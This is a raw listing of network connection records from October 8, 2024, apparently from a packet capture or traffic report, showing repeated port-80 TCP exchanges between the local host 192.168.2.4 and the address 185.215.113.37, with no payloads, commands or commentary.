Oct 8, 2024 08:22:15.248414040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248420954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248424053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248429060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248433113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248437881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248441935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248615026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.292079926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.292138100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.292253971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.292254925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.366974115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367006063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367047071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367083073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367105961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367131948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367146969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367196083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367199898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367228985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367276907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367304087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367321968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367352009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367373943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367418051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367459059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367480040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367499113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367532015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367547989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367573977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367594004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367635012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367647886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367671013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367697001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367714882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367747068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367762089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367788076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367811918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367825031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367842913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367861032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367885113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.367917061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367937088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.367968082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368006945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368050098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368077993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368117094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368149996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368169069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368191004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368218899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368262053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368299961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368350983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368355036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368406057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368458033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368462086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368525028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368851900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368901014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.368904114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.368957996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369106054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369236946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369276047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369343996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369348049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369436979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369463921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369481087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369535923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369555950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369571924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369620085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369645119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369684935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369718075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369733095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369759083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369784117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369800091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369832993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369847059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369874954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369891882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369913101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369929075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.369946003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369965076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.369985104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370014906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370033979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370088100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370110989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370115042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370136023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370163918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370186090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370206118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370256901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370280027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370332003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370358944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370398998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370410919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370434999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370480061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370526075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370531082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370559931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370570898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370595932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370621920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370641947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370676994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370691061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370717049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370737076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370757103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370773077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370791912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370815992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370841980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370860100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370889902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370904922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370930910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.370949984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370965958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.370981932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371010065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371014118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371035099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371062040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371074915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371097088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371124029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371136904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371169090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371186972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371203899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371228933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371246099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371278048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371293068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371319056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371344090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371361971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371408939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371429920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371448994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371465921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371479034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371504068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371527910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371545076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371582031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371608973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371639967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371673107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371687889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371712923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371732950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371752024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371783972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371798038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371823072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371845007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371862888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371891975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371912003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371934891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.371951103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.371972084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372004032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372016907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372040033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372066021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372085094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372102022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372117996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372133017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372153044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372169018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372194052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372210979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372243881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372261047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372282028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372303963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372338057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372350931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372373104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372395992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372414112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372447014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372464895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372493982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372515917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372534990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372570992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372591972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372616053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372644901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372662067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372678995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372694969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372708082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372731924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372751951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372776031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372792959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372827053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372844934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372868061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372888088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372909069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372925043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.372944117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372963905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.372984886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.373004913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.373059988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454591990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454613924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454627991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454648018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454655886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454663992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454685926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454701900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454713106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454731941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454741955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454754114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454756021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454762936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454778910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454792976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454838037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454858065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454864025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454884052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454898119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454905033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454963923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.454991102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.454994917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455004930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455009937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455013990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455032110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455049992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455096960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455101967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455113888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455156088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455180883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455235004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455282927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455286980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455344915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455348969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455413103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455442905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455482960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455538034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455558062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455598116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455630064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455647945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455677032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455693007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455734015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455771923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455786943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455811024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455853939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455893993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455910921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455933094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.455965042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.455986023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456011057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456024885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456078053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456095934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456119061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456151009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456171989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456198931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456218958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456238985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456258059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456271887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456284046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456310987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456330061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456372976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456391096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456422091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456440926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456470013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456474066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456522942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456556082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456573009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456605911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456631899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456649065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456681013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456697941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456717014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456742048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456768036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456785917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456818104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456834078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456854105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456897020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456945896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.456968069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.456988096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.457017899 CEST	80	49730	185.215.113.37	192.168.2.4
